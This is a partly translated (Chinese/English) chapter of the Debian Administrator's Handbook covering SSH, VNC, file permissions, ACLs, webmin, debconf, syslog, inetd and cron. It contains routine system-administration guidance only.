多個程序彼此溝通的系統通常描述成 “客戶/伺服器” 隱喻。伺服器是接受來自客戶的請求並執行它。客戶控制作業，伺服器沒有辦法發起任何作業。

9.2.1. 安全遠程登入：SSH

SSH (Secure SHell) 通信協定係以安全與可靠考量。以 SSH 連線是安全的：夥伴需認證且資料交換經過加密。

文化 Telnet 與 RSH 已過時

SSH 問世前，Telnet 與 RSH 是遠端登入的主要工具。目前已過時，即使 Debian 仍提供此等命令，但已沒有人使用它們。

術語 認證、加密

When you need to give a client the ability to conduct or trigger actions on a server, security is important. You must ensure the identity of the client; this is authentication. This identity usually consists of a password or passphrase that must be kept secret, or any other client could it. This is the purpose of encryption, which is a form of encoding that allows two systems to communicate confidential information on a public channel while protecting it from being readable to others.

認認與加密經常相提併論，兩者多半合併使用，它們採用類似皂數學概念。

SSH 有兩個檔案傳輸服務。scp 是命令列工具，用起來像是 cp，除了對方機器的路徑加上機器的前置名稱，以及冒號。

$ scp file machine:/tmp/

sftp 是互動式命令，類似 ftp。在單一程序中，sftp 可以同時傳輸多個檔案，且可以操作遠端的檔案 (刪除、重新命令、改變授權等)。

Debian 使用 OpenSSH，由 OpenBSD 計畫 (以 BSD 核心為基礎的自由作業系統，以安全性著稱) 維護的自由版本 SSH 且是芬蘭and fork of the original SSH software developed by the SSH Communications Security Corp 公司發展的 SSH 原版的分歧版本。該公司以自由軟體精神發展 SSH，但後來改變為專屬授權。OpenBSD 計畫另起爐灶發展 OpenSSH 維持 SSH 的自由軟體版本。

基本 分歧

“分歧”，在軟體領域裡，表示從既有計畫中複製出新的計畫，並與舊計畫競爭。所以，兩個軟體各自發展。分歧多半源自於對發展團隊觀念的不同。

對計畫的分歧是自由軟體本質的直接反應；分歧是健康的事件，可以延續原計畫的自由精神 (例如授權方式的改變)。由於技術層面或個人的不同意而有分歧，是人力資源的浪費；其他的結果則是正面的。將分歧的計畫合併則未曾聽說。

OpenSSH is split into two packages: the client part is in the openssh-client package, and the server is in the openssh-server package. The ssh meta-package depends on both parts and facilitates installation of both (apt install ssh), while the task-ssh-server, often chosen during the initial installation, depends on the server package only.

9.2.1.1. 金鑰認證

以 SSH 登入時，遠端伺服器要求密碼認證使用者。在此條件下不能自動連結，也不能經常登入 SSH。所以 SSH 提供金鑰認證系統。

The user generates a key pair on the client machine with ssh-keygen -t rsa; the so generated public key is stored in ~/.ssh/id_rsa.pub, while the corresponding private key is stored in ~/.ssh/id_rsa. The user can then use ssh-copy-id server to add their public key to the ~/.ssh/authorized_keys file on the server, or, if SSH access hasn't been enabled yet, they have to ask the administrator to add their key manually.

If the private key was not protected with a “passphrase” at the time of its creation, all subsequent logins on the server will work without a password. Otherwise, the private key must be decrypted each time by entering the passphrase. Fortunately, ssh-agent allows us to keep private keys in memory to not have to regularly re-enter the password. For this, you simply use ssh-add (once per work session) provided that the session is already associated with a functional instance of ssh-agent. Debian activates it by default in graphical sessions, but this can be deactivated by changing /etc/X11/Xsession.options and commenting out use-ssh-agent. For a console session, you can manually start the agent with eval $(ssh-agent).

安全 以私鑰保護

擁有私鑰的人就可以登入並組態電腦。所以私鑰必須以 “passphrase” 保護。取得私鑰檔案的人 (如，~/.ssh/id_rsa) 仍需知道此句子才能使用私鑰。不過，多一層保護並不保證固若金湯牢不可破，若認為該檔案已被破解，最好停用該安裝該私鑰 (從 authorized_keys 檔案中移除) 並重新產生新的金鑰。

文化 OpenSSL 缺陷在 Debian Etch

The OpenSSL library, as initially provided in Debian Etch, had a serious problem in its random number generator (RNG). Indeed, the Debian maintainer had made a change so that applications using it would no longer generate warnings when analyzed by memory testing tools like valgrind. Unfortunately, this change also meant that the RNG was employing only one source of entropy corresponding to the process number (PID) whose 32,000 possible values do not offer enough randomness.

→ https://www.debian.org/security/2008/dsa-1571

尤其是，OpenSSL 產生金鑰時，總是從已知的數萬個金鑰中 (32,000 乘以金鑰長度) 選取一個。進而影響 SSH 金鑰、SSL 金鑰與 X.509 認證用到應用程式，如 OpenVPN。駭客祗需測試有限的金鑰就能取得授權。為了減少此問題的影響層面， SSH 後台進程略為修改以拒絕使用列在 openssh-blacklist 與 openssh-blacklist-extra 套件內的有問題的金鑰。而且 ssh-vulnkey 命令允許辨認糸統內可能的認證漏洞。

進一步分析這個事件，發現影響多個 (小) 問題，包括 OpenSSL 計畫內與 Debian 套件維護者。像 OpenSSL 這種被廣泛使用程式庫，被 valgrind 測試時，應該 — 未經修改 — 不能產生警示。尤有甚者，其程式碼 (尤其是像 RNG 這麼敏感的部份) 應該有更好的說明以避免這種錯誤。從 Debian 的角度來看，維護者要向 OpenSSL 開發者認證其修改的部份，但單純的解說修改而未提供對應的補丁供檢視，以致 Debian 發生前述的錯誤。最後，維護者的選擇是次要的選項：原始碼的修改沒有清楚的文件；所有的修改都儲存在典藏所的次版本內，但是把所有的修改總結在一個補丁內納入原始套件中。

It is difficult under such conditions to find the corrective measures to prevent such incidents from recurring. The lesson to be learned here is that every divergence Debian introduces to upstream software must be justified, documented, submitted to the upstream project when possible, and widely publicized. It is from this perspective that the new source package format (“3.0 (quilt)”) and the Debian sources webservice were developed.

→ https://sources.debian.org

9.2.1.2. Cert-Based Authentication

SSH keys cannot just be protected by a password (or not). An often unknown feature is that they can also be signed via certificate, both the host as well as the client keys. This approach comes with several advantages. Instead of maintaining an authorized_keys file per user as described in the previous section, the SSH server can be configured to trust all client keys signed by the same certificate (see also 節 10.2.2, “公鑰基礎設施：easy-rsa”) by using the TrustedUserCAKeys and HostCertificate directives in /etc/ssh/sshd_config.

TrustedUserCAKeys /etc/ssh/ssh_users_ca.pub

HostKey /etc/ssh/ssh_host_ecdsa_key

HostCertificate /etc/ssh/ssh_host_ecdsa_key-cert.pub

Vice-versa the clients can also be configured to trust the host key signed by the same authority, making it easier to maintain the known_hosts file (even system wide via /etc/ssh/known_hosts).

@cert-authority *.falcot.com ssh-rsa AAAA[..]

Both, public key and certificate authentication, can be used alongside each other.

9.2.1.3. 使用遠端 X11 應用程式

SSH 通信協定可以使用圖形資料 (“X11” 程序，取材自 Unix 常用的圖形系統之名)；伺服器開啟專用通道給該等資料。特別的是，遠端執行圖形的問題可以顯示在本地螢幕的 X.org 伺服器，整個程序 (輸入與顯示) 是安全的。因為此功能允許遠端應用程式與在地系統互動，預設是不行的。指明 X11Forwarding yes 於伺服器的組態檔 (/etc/ssh/sshd_config) 內。最後，使用者必須加入 -X 選項於 ssh 命令列。

GOING FURTHER Magic cookies in .Xauthority

When a user connects via SSH and starts a remote X11 session, a so-called magic cookie is created and stored in the .Xauthority file in the user's home directory that initiated the connection. This cookie is used by xauth to authenticate the user during the X session. If the user impersonates another user on the system, e.g. using su or sudo, then the cookie is not copied automatically to the target user and the X server will refuse to start graphical applications under the target user's context. You will have to copy the magic cookie into the target user's home directory (by exporting and re-importing the cookie via xauth) to allow another user to start graphical programs as well during the X session.

9.2.1.4. 新增埠映射的加密通道

它的 -R 和 -L 選項允許 ssh 在兩個機器間新增 “加密通道”，把在地 TCP 埠 (見專欄 基本 TCP/UDP) 映射至遠端機器或反之。

術語 通道

大部份地區網路 (LAN) 連結的網際網路，以封包模式運作而不是連結模式，封包經由多個中途路由器才到達其終點站。仍可以模擬連結運作讓流量包裝在正常的 IP 封包內。這些封包經由正常途徑，但是在終點站無誤地重組還原流量。我們稱此為 “通道”，就像道路的通道，車流經由入口至出口，沒有任何路口，不像平面道路涉及路口及變換方向。

在通道內加密：外界無從辨識其中的流量，祗有到了通道出口經由解密才恢復原來的樣子。

ssh -L 8000:server:25 intermediary 以 中介 主機建立 SSH 程序並聽在地埠 8000 (見 圖形 9.3, “以 SSH 轉送在地埠”)。建立在這個埠的任何連結，ssh 將從 中介 電腦建立連結至 伺服器 的埠號 25，而且把兩個連結綁在一起。

ssh -R 8000:server:25 intermediary 也建立一個 SSH 程序至 中介 電腦，但在該機器以 ssh 聆聽埠號 8000 (見 圖形 9.4, “以 SSH 轉送遠端埠”)。建立在該埠的連結將啟動 ssh 開啟本地機器埠號 25 的 伺服器，而且把兩個連結綁在一起。

這兩個案例裡，都連結至 伺服器 主機的埠號 25，以 SSH 通道連結在地機器與 中介 機器。在第一個案例裡，在 “公共” 網路裡，入口是在地埠 8000，資料移向 中介 機器後再流向 伺服器。在第二個案例裡，入口與出口的通道相反；入口是 中介 機器的埠號 8000，出口是在地主機，且資料直接流向 伺服器。實務上，伺服器是在地機器或中介機器。SSH 保證兩者的安全連結。

圖形 9.3. 以 SSH 轉送在地埠

圖形 9.4. 以 SSH 轉送遠端埠

9.2.2. 使用遠端圖形桌面

虛擬網路計算 (Virtual Network Computing, VNC) 可以近用遠端圖形桌面。

此工具常使用在技術支援；管理者可以看到使用者面對的錯誤，不必到現場就能告知正確的運作。

First, the user must authorize sharing their session. The GNOME graphical desktop environment includes that option via Settings → Sharing (contrary to previous versions of Debian, where the user had to install and run vino). For this to work network-manager must be managing the network used (e.g. enable the managed mode for devices handled by ifupdown in /etc/NetworkManager/NetworkManager.conf). KDE Plasma still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc or tightvncserver commands (from the Debian packages of the same name) or tigervncserver (tigervnc-standalone-server) serve the same purpose and provide the vnc-server virtual package; you can make either of them available to the user with an explicit menu or desktop entry.

When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while the KDE project provides krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xtightvncviewer from the homonym package or xtigervncviewer from the tigervnc-viewer Debian package. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.

安全 SSH 的 VNC

想要經由 VNC 連結，但不想在網路傳輸純文字資料，可以把資料打包在 SSH 通道內 (見 節 9.2.1.4, “新增埠映射的加密通道”)。祗需知道 VNC 預設在第一個螢幕使用埠號 5900 (稱為 “localhost:0”)，埠號 5901 用在第二個埠號 (稱為 “localhost:1”)，等等。

ssh -L localhost:5901:localhost:5900 -N -T machine 命令新增在地埠號 5901 於在地介面和埠號 5900 的 machine 主機。第一個 “localhost” 限制 SSH 聆聽僅限在地機器的介面。第二個 “localhost” 指出接收網路流量 “localhost:5901” 的遠端機器介面。因此 vncviewer localhost:1 將連結 VNC 客戶至遠端螢幕，即使指向在地機器的名稱。

關閉 VNC 程序後，記得再關閉對應的 SSH 程序通道。

基本 顯示管理Display manager

gdm3, kdm, lightdm, and xdm are Display Managers (they all provide the x-display-manager meta package). They take control of the graphical interface shortly after boot in order to provide the user a login screen. Once the user has logged in, they execute the programs needed to start a graphical work session.

9.3. 管理權限

Linux 是多使用者系統，必須以授權系統控制對檔案與資料夾的合法操作，包括所有的系統資源與設備 (在 Unix 系統裡，任何設備都以檔案或資料夾表示)。此原則適用於所有的 Unix 系統，不過多提醒一次總是好的，尤其碰到有趣相關的不明使用情況。

9.3.1. Owners and Permissions

每個檔案與資料夾都有三組不同權限的使用者：

- 擁有者 (符號為 u 取自使用者的英文字 “user”)；

- 群組擁有者 (符號為 g 取自群組的英文字 “group”)，代表群組內所有的使用者；

- 其他 (符號為 o 取自其他的英文字 “other”)。

Three basic types of rights can be combined:

- 讀取 (符號為 r 取自讀取的英文字 “read”)；

- 寫入 (或修改，符號為 w 取自寫入的英文字 “write”)；

- 執行 (符號為 x 取自執行的英文字 “eXecute”)。

以檔案來說，其權利較容易理解：讀取就是允許讀取其內容 (包括複製)、寫入就是允許改變它、而執行就是跑它 (檔案本身必須是程式)。

安全 setuid 與 setgid 可執行

Two particular rights are relevant to executable files: setuid and setgid (symbolized with the letter “s”). Note that we frequently speak of “bit”, since each of these Boolean values can be represented by a 0 or a 1. These two rights allow any user to execute the program with the rights of its owner or its group, respectively. This mechanism grants access to features requiring higher level permissions than those you would usually have.

因為 setuid 根程式係在超級使用者的認證下執行，必須確保它的安全與可靠。的確，使用者可能呼叫一個程式，監禁根使用者，並擁有系統的全部權限，並藉此癱瘓整個系統。

If you require running a program under a different user or if a program requires higher permissions, the sudo, su, or runuser commands are usually better choices than using these bits (see 節 8.9.4, “共享管理員權限”).

資料夾的處理方式略有不同。讀取其款目 (檔案及資料夾)、寫入包括新增與刪除檔案、而執行則是進入它 (尤其是使用 cd 命令)。進入資料夾而不必有讀取權限，執行已知的檔名，若不知其正確的名稱，則無法執行。

安全 setgid 資料夾和 sticky bit

setgid 位元也適用於資料夾。在該資料夾新增的項目自動賦予上層資料夾的群組擁有者權限，而不是繼承新增者的主要群組權限。與同組其他使用者共享檔案樹時，這種設定避免使用者改變其主要群組 (以 newgrp 命令)。

“sticky” bit (符號為字母 “t”) 是一種祗適用於資料夾的授權。特別用在大家都能寫入的暫時性的資料夾 (如 /tmp/)：但祗限檔案的擁有者 (或上層資料夾的) 才能刪除其檔案。少了這層授權，每個人都能刪除其他人在 /tmp/ 裡的檔案。

三個命令控制檔案的授權：

- chown user file 改變檔案的擁有者；

- chgrp group file 改變群組的擁有者；

- chmod rights file 改變檔案的權限。

有兩種方法表示權限。其中，符號表示最容易理解和記憶。它使用前述的符號。可以經由 (u/g/o)，經過等於 ( =)、加 (+)、或減 (-) 設定每種使用者的權限類型。因此，u=rwx,g+rw,o-r 格式賦予擁有者讀、寫與執行的權限，對群組的擁有者給予讀寫的權限，以及移除其他使用者讀取的權限。命令中未新增或減少的權限不變。字母 a 指所有的英文字 “all”，涵蓋三種類型的使用者，所以 a=rx 給予三種使用者相同的權限 (讀與執行，但沒有寫)。

每個權限都可對應一個數值 (8 進位)：4 讀、2 寫、1 執行。這些數值可以加起來表示其權限的組合。每個值依序置於不同使用者的類型之後 (擁有者、群組、其他)。

For instance, the chmod 754 file command will set the following rights: read, write and execute for the owner (since 7 = 4 + 2 + 1); read and execute for the group (since 5 = 4 + 1); read-only for others. The 0 (zero) means no rights; thus chmod 600 file allows for read/write rights for the owner, and no rights for anyone else. The most frequent right combinations are 755 for executable files and directories, and 644 for data files.

還可以設定特別的權限，以同權的原則在原數值之前加入第四個數值，setuid、setgid 和 sticky 的位元數分別是 4、2 和 1。chmod 4754 設置 setuid 前述的位元權限。

八進位標記祗適用於對檔案的一次性設定所有權限；不能以它加入新的權限，如群組擁有者的讀取，因為必須把現在的權限與計算新的數值。

秘訣 遞迴運算

有時需要改變整個檔案樹的權限。前述的命令可加入 -R 選項，在次資料夾內做遞迴運算。

The distinction between directories and files sometimes causes problems with recursive operations. That is why the “X” letter has been introduced in the symbolic representation of rights. It also represents the right to execute, but it applies differently to directories and files.

For directories it adds executable permissions to the chosen user(s). For files, it adds the executable bit only if at least one of the users (owner, group, or others) already has executable permissions. Let's demonstrate it, because this bit can be confusing:

$ ls test.txt

-rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod u+X test.txt

$ ls test.txt

-rw-r--r-- 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod o+x test.txt

$ ls test.txt

-rw-r--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

$ chmod u+X test.txt

$ ls test.txt

-rwxr--r-x 1 daniel daniel 0 18. Nov 01:07 test.txt

The example shows a typical file with its default permissions: its owner can read and write it, the owner's group and all other users can read it. The next operation (u+X) won't add executable permissions for the owner of the file, because permissions to execute have not been assigned. The operation has no effect on the file. Next we assign execute rights for "other" users and repeat the operation. This time it is successful, because at least one user group already had executable permissions.

It is a misconception that this bit will only affect directories. If files and directories have mixed permissions, it is often a good idea to use the find command to locate the targets you want to operate on.

TIP Changing the user and group together

Frequently you want to change the group of a file at the same time that you change the owner. The chown command has a special syntax for that: chown user:group file. This syntax can also be used to recursively (-R) change the ownership of a whole directory.

下一步 umask

When an application creates a file, it assigns indicative permissions, knowing that the system automatically removes certain rights, given by the command umask. Enter umask in a shell; you will see a mask such as 0022. This is simply an octal representation of the rights to be systematically removed. In this case, the write right for the group and other users: With the above umask value, the default for directories 777 becomes 755 and the default permissions for files 666 become 644.

The system's default value is handled by pam_umask(8) and /etc/login.defs.

If you give it a new octal value, the umask command modifies the mask. Used in a shell initialization file (for example, ~/.bashrc or ~/.profile), it will effectively change the default mask for your work sessions.

9.3.2. ACLs - Access Control Lists

Many filesystems, e.g. Btrfs, Ext3, Ext4, JFS, XFS, etc., support the use of Access Control Lists (ACLs). These extend the basic features of file ownership and permission, described in the previous section, and allow for a more fine-grained control of each (file) object. For example: A user wants to share a file with another user and that user should only be able to read the file, but not write or change it.

For some of the filesystems, the usage of ACLs is enabled by default (e.g. Btrfs, Ext3, Ext4). For other filesystems or older systems it must be enabled using the acl mount option - either in the mount command directly or in /etc/fstab. In the same way the usage of ACLs can be disabled by using the noacl mount option. For Ext* filesystems one can also use the tune2fs -o [no]acl /dev/device command to enable/disable the usage of ACLs by default. The default values for each filesystem can usually be found in their homonym manual pages in section 5 (filesystem(5)) or in mount(8).

After enabling ACLs, permissions can be set using the setfacl(1) command, while getfacl(1) allows one to retrieve the ACLs for a given object or path. These commands are part of the acl package. With setfacl one can also configure newly created files or directories to inherit permissions from the parent directory. It is important to note that ACLs are processed in their order and that an earlier entry that fits the situation has precedence over later entries.

If a file has ACLs set, the output of the ls -l command will show a plus-sign after the traditional permissions. When using ACLs, the chmod command behaves slightly different, and umask might be ignored. The extensive documentation, e.g. acl(5) contains more information.

9.4. 管理介面

在多種情況下，使用圖形的管理介面極為有趣。管理者不需要知道所有服務的組態細節，也沒有時間搜尋該等事物的文件。管理圖形介面可以加速布署新的服務。簡單設定難以組態的服務。

這種介面祗是一種輔助，不能解決問題。任何情況下，管理員必須控制它，才能夠瞭解並解決潛在的問題。

介面不會完美的，總有其他的解決方案。不過，應儘量避免使用多種解決方案，因為不同的工具彼此間不見得相容。即使宣稱極有彈性且以單一模式使用組態檔，不見得能夠整合所有的外部改變。

9.4.1. 管理網頁介面：webmin

別懷疑，這就是最成功的管理介面。這是經由瀏覽器的模組化管理系統，包括多種區域與工具。而且，已經國際化包括中文在內的介面。

圖形 9.5. Webmin dashboard

Sadly, webmin is no longer part of Debian. Its Debian maintainer removed the packages created because they no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Debian does not provide the webmin package.

然而，非官方的套件可在 webmin.com 網站找到。不同於原自於 Debian 的套件，此套件有點古老；即使沒有安裝對應的服務，仍預設安裝與啟用其組態模組。

安全 改變 root 密碼

On the first login, identification is conducted with the root username and its usual password (or any user's login credentials which belongs to the sudo group). It is recommended to change the password used for webmin as soon as possible, so that if it is compromised, the server's user accounts will not be involved, even if this confers important administrative rights to the machine.

Beware! Since webmin has so many features, a malicious user accessing it could compromise the security of the entire system. In general, interfaces of this kind are not recommended for important systems with strong security constraints (firewall, sensitive servers, etc.), and they are not recommended to be exposed to the public either.

經由網頁介面使用 Webmin，但不需要安裝 Apache。事實上，此軟體有自己的迷您網頁伺服器。該伺服器預設的埠號是 10000 並接受安全的 HTTP 連結。

其模組含多種服務，如：

- all base services: creation of users and groups, management of crontab files, service scripts/files, viewing of logs, etc.

- bind：DNS 伺服器組態 (名稱服務)；

- postfix：SMTP 伺服器組態 (電子郵件)；

- network services: configuration of the xinetd super-server;

- disk quota: user quota management;

- dhcpd：DHCP 伺服器組態；

- proftpd：FTP 伺服器組態；

- samba：Samba 檔案伺服器組態；

- 軟體：安裝或移除 Debian 套件與系統更新。

從瀏覽器的網址列鍵入 https://localhost:10000 就能進入管理介面。小心！並不能直接使用所有的模組。有時必須設定對應的組態檔與執行檔 (程式) 進入特定的位置。通常，系統會有禮貌地提示該等需求。

其他 GNOME 控制中心

GNOME 計畫也提供經由右上角使用者選單 “設定” 的多管理介面。gnome-control-center 是主計畫，還有其他套件提供的組態工具 (accountsservice、system-config-printer等)。雖然使用簡易，不過祗包括有限的基本服務：使用者管理、時間組態、網路組態、印表機組態等。

9.4.2. 組態套件：debconf

Many packages are automatically configured after asking a few questions during installation through the Debconf tool. These packages can be reconfigured by running dpkg-reconfigure -plevel package.

大部份情況下，這些設定很簡單；祗需更改組態檔內幾個重要的變數。這些變數集中在兩個 “demarcation” 列內，所以套件的再組態祗影響封閉的區域。在其他的情況，再組態不會改變任何事，除非腳本偵測到人工修改組態檔，而保留這些人工的調整 (因為腳本不確定其組態是否干涉了現有的設定)。

DEBIAN 政策 保留改變

Debian 政策規定需保留人工變動的組態檔案，腳本編輯組態檔時更為小心。這個大原則很簡單：祗在知道組態檔現況的前提下才能改變它，檢查檔案的校驗碼就知道了。若是相同的，系統授權腳本修改該組態檔。否則，表示該檔案已經修改過，續問腳本想做什麼 (安裝新檔案、儲存舊檔案、或整合新舊)。Debian 使用這個預警原則多時，其他的 Linux 發行版才正要開始採用它。

此 ucf 程式 (來自同名的 Debian 套件) 可用於啟動該行為。

9.5. syslog 系統事件

9.5.1. 原則與機制

此 rsyslogd 後台進程負責搜集來自應用程式與核心的服務訊息，然後送至日誌檔內 (通常儲存在 /var/log/ 資料夾內)。遵守 /etc/rsyslog.conf 組態檔案的要求。

每個日誌檔內的訊息都與應用程式次系統有關 (文件中稱為 “設施”)：

- auth 和 authpriv：供認證之用；

- cron：來自工作排程服務，cron 和 atd；

- daemon：未受任何特別分類影響的後台進程 (DNS、NTP 等)；

- ftp：關心 FTP 伺服器；

- kern：來自核心的訊息；

- lpr：來自列印次系統的；

- mail：來自電子郵件次系統；

- news：Usenet 次系統的訊息 (尤其是來自管理新聞群組的 NNTP — Network News Transfer Protocol — 伺服器)；

- syslog：來自 syslogd 伺服器本身的訊息；

- user：使用者訊息 (一般)；

- uucp：來自 UUCP 伺服器 (Unix to Unix Copy Program，用於散布電子郵件訊息的通訊協定) 的訊息；

- local0 至 local7：保留給在地使用。

每個訊息有其自身的優先層級。以下的遞減的清單：

- emerg：“救命！” 緊急狀態，系統可能已掛了。

- alert：趕快，任何延誤可能造成危險，必須立即採取行動；

- crit：情況嚴重；

- err：錯誤；

- warn：警示 (可能的錯誤)；

- notice：情況正常，但訊息極重要；

- info：資訊性訊息；

- debug：需要除錯的訊息。

9.5.2. 組態檔案

The syntax of the /etc/rsyslog.conf file is detailed in the rsyslog.conf(5) manual page, but there is also HTML documentation available in the rsyslog-doc package (/usr/share/doc/rsyslog-doc/html/index.html). The overall principle is to write “selector” and “action” pairs. The selector defines all relevant messages, and the action describes how to deal with them.

9.5.2.1. 選擇器的語法

選擇器是分號區隔 次系統.優先層級 配對 (如：auth.notice;mail.info) 清單。星號代表所有次系統或優先層級 (如：*.alert 或 mail.*)。可以用逗點群聚多個次系統，(如：auth,mail.info)。優先層級也包括等於或高於的優先訊息；因此 auth.alert 表示 auth 次系統的 alert 或 emerg 優先層級。前置驚嘆號 (!) 表示相反的意思，換句話說，就是限於較低的優先層級；auth.!notice 表示來自 auth 次系統的 info 或 debug 優先層級。前置等號 (=) 表示祗限該優先層級 (auth.=notice 祗限於來自 auth 訊息的 notice 優先層級)。

選擇器清單內的元素，後者權限均高於前者。據以限制或排除特定的元素。例如，kern.info;kern.!err 表示來自核心的訊息，其優先權介於 info 和 warn 之間。none 優先權表示空白的集合 (無優先權)，且可做為從訊息集中排除指定的次系統。因此，*.crit;kern.none 表示所有來自核心以外的訊息，其優先權均等同於高於 crit。

9.5.2.2. 行動語法

基礎 已命名的管線，持續管線

已命名管線是特定類型的檔案，就像是傳統的管線 (在命名列以 “|” 符號表示資料在管線中流動)，祗是經由檔案流動。此機制的優點是能夠關連兩個無關的程序。寫入已命名管線的資料，在另個程序讀取其內容前，禁止其他程序寫入。先讀取已寫入的資料，以執行它。

以 mkfifo 命令新增該等檔案。

可能的行動為：

- 新增訊息至檔案 (如：/var/log/messages)；

- 新增訊息至遠端 syslog 伺服器 (如：@log.falcot.com)；

- 送訊息至已命名的管端 (如：|/dev/xconsole)；

- 送訊息給一位或多位已登入的使用者 (如：root,rhertzog)；

- 送訊息給所有已登入的使用者 (如：*)；

- 在文字終端機撰寫訊息 (如：/dev/tty8)。

安全 轉送日誌檔

把重要的日誌檔置於另個機器 (或許專供此用途的機器) 是個好主意，這種方式足以防止入侵者抺除其㾗跡 (當然，除非同時入侵日誌檔機器)。尤有甚者，發生問題時 (如核心損壞)，在另部機器還有日誌檔可用，增加檢視發生損壞的機會。

為了把日誌檔訊息置於另部機器，必須組態 rsyslog：實務上，祗需啟用 /etc/rsyslog.conf ($ModLoad imudp 與 $UDPServerRun 514) 內現有的項目就夠了。

9.6. The inetd 超級伺服器

Inetd (又稱為 “Internet 超級伺服器”) 是伺服器中的伺服器。依需要啟用甚少用到的伺服器，因此不需持續地執行它。

/etc/inetd.conf 檔案列出伺服器及其通用的埠號。inetd 命令偵測它們；若發現任何埠號已被連結，則執行對應的程式。

DEBIAN POLICY Register a server in /etc/inetd.conf

套件經常需要在 /etc/inetd.conf 檔案登錄新的伺服器，但 Debian 政策禁止任何套件不屬於自身的組態檔。所以有 update-inetd 腳本 (在同名套件內)：管理組態檔案以及其他套件，使其在超級伺服器的組態中登錄新的伺服器。

/etc/inetd.conf 檔案中的每列款目以 7 個欄位 (以空格區分) 描述伺服器：

- TCP 或 UDP 埠號，或服務名稱 (以 /etc/services 檔案內的資訊對應至標準埠號)。

- 接口類型：stream 供 TCP 連結之用，dgram 供 UDP 資料包連結之用。

- The protocol: tcp, tcp6, udp, or udp6.

- 選項：兩個可能值：wait 或 nowait，告訴 inetd 在接受另個連結時，是否該等待或終止已啟用的程序。對 TCP 連結而言，可使用 nowait，進入多工。對回應 UDP 的程式而言，祗在伺服器可平行管理多個連結時，才使用 nowait。可在這個欄位前加上圓點，以及每分鐘可以開啟的最大連結量 (預設為 256)。

- The user name of the user under whose identity the server will run. Optionally one can add the group too via user.group syntax.

- 執行伺服器程式的完整路徑。

- 參數：程式參數的完整清單，包括自身的名稱 (在 C 語言裡是 argv[0])。

The following example illustrates some use-cases after installing talkd, nullidentd (ident-server), and fingerd:

範例 9.1. 取自 /etc/inetd.conf

#:BSD: Shell, login, exec and talk are BSD protocols.

talk   dgram   udp     wait    nobody.tty   /usr/sbin/in.talkd      in.talkd

ntalk  dgram   udp     wait    nobody.tty   /usr/sbin/in.ntalkd     in.ntalkd

#:INFO: Info services

ident  stream  tcp     nowait  nobody       /usr/sbin/nullidentd    nullidentd

finger stream  tcp     nowait  nobody       /usr/sbin/tcpd          /usr/sbin/in.fingerd

The tcpd program is frequently used in the /etc/inetd.conf file. It allows limiting incoming connections by applying access control rules, documented in the hosts_access(5) manual page, and which are configured in the /etc/hosts.allow and /etc/hosts.deny files. Once it has been determined that the connection is authorized, tcpd executes the real server (like in.fingerd in our example). It is worth noting that tcpd relies on the name under which it was invoked (that is the first argument, argv[0]) to identify the real program to run. So you should not start the arguments list with tcpd but with the program that must be wrapped.

社群 Wietse Venema

Wietse Venema, whose expertise in security has made him a renowned programmer, is the author of the tcpd program. He is also the main creator of Postfix, the modular e-mail server (SMTP, Simple Mail Transfer Protocol), designed to be safer and more reliable than sendmail, which features a long history of security vulnerabilities. We will have a closer look at this mail server in 節 11.1, “Mail Server”.

其他 異於 inetd 的命令

While Debian installs openbsd-inetd by default, there is no lack of alternatives: we can mention inetutils-inetd, rlinetd, and xinetd, which all provide the virtual package inet-superserver.

Most of these alternatives share the same configuration file /etc/inetd.conf.

This last incarnation of a super-server however, offers different syntax and very interesting possibilities. Most notably, its configuration can be split into several files (stored, of course, in the /etc/xinetd.d/ directory), which can make an administrator's life easier. It is considered to be more powerful, but also more complex.

Last but not least, it is even possible to emulate inetd's behavior with systemd's socket-activation mechanism (see 節 9.1.1, “systemd 啟動系統”).

9.7. 以 cron 和 atd 使用排定的工作

cron is the daemon responsible for executing scheduled and recurring commands (every hour, every day, every week, etc.). atd deals with commands to be executed a single time, but at a specific moment in the future.

在 Unix 系統裡，很多工作都需定期規律地執行：

- 迴轉日誌檔；

- 更新資料庫供 locate 程式使用；

- 備份；

- 維護腳本 (諸如清除暫存檔)。

預設所有的使用者都可定期執行工作。每個使用者有自己的 crontab 記錄定期執行的命令。可以使用 crontab -e (其內容儲存在 /var/spool/cron/crontabs/user 檔案內) 命令編輯它。

安全 限制 cron 或 atd

You can restrict access to crontab by creating an explicit authorization file (whitelist) in /etc/cron.allow, in which you indicate the only users authorized to schedule commands. All others will automatically be deprived of this feature. Conversely, to only block one or two troublemakers, you could write their username in the explicit prohibition file (blacklist), /etc/cron.deny. This same feature is available for atd, with the /etc/at.allow and /etc/at.deny files (also described in their manual pages).

根使用者有自己的 crontab，不過也使用 /etc/crontab 檔案，或寫入額外的 crontab 檔案於 /etc/cron.d 資料夾內。最後兩個解決方案有其優勢，在執行命令時辦識使用者。

cron 套件包括預設定期執行的命令：

- 每小時執行在 /etc/cron.hourly/ 資料夾內的程式；

- 每天執行在 /etc/cron.daily/ 資料夾內的程式；

- 每週執行在 /etc/cron.weekly/ 資料夾內的程式；

- 每月執行在 /etc/cron.monthly/ 資料夾內的程式。

很多 Debian 套件依賴此服務：把維護腳本置於此資料夾，確保其服務的最佳運作。

9.7.1. crontab 檔案的格式

秘訣 cron 的捷徑

cron 辨認若干縮寫用以取代 crontab 款目內的前五個欄位。它們對應最經典的排程選項：

- @yearly：每年一次 (1月1日的 00:00)；

- @monthly：每月一次 (每月第一天的 00:00)；

- @weekly：每週一次 (星期日的 00:00)；

- @daily：每天一次 (在 00:00)；

- @hourly：每小時一次 (在每小時的開始)。

More abbreviations are recognized, like @rebootor @midnight.

特例 cron 和日光節約時間

在 Debian 裡，cron 以最大的能力管理時間 (日光節約時間、或其他在地時間的要求)。因此，需要按小時執行不曾發生的命令 (如，在 2:30 執行指令，配合法國春季時間，2:00 am 向前撥一小時成為 3:00)，在事情發生後立刻執行 (因此在 3:00 am DST)。到了秋季，該命令執行多次 (2:30 am DST 向後撥一小時， 3:00 am DST 成為 2:00 am)。

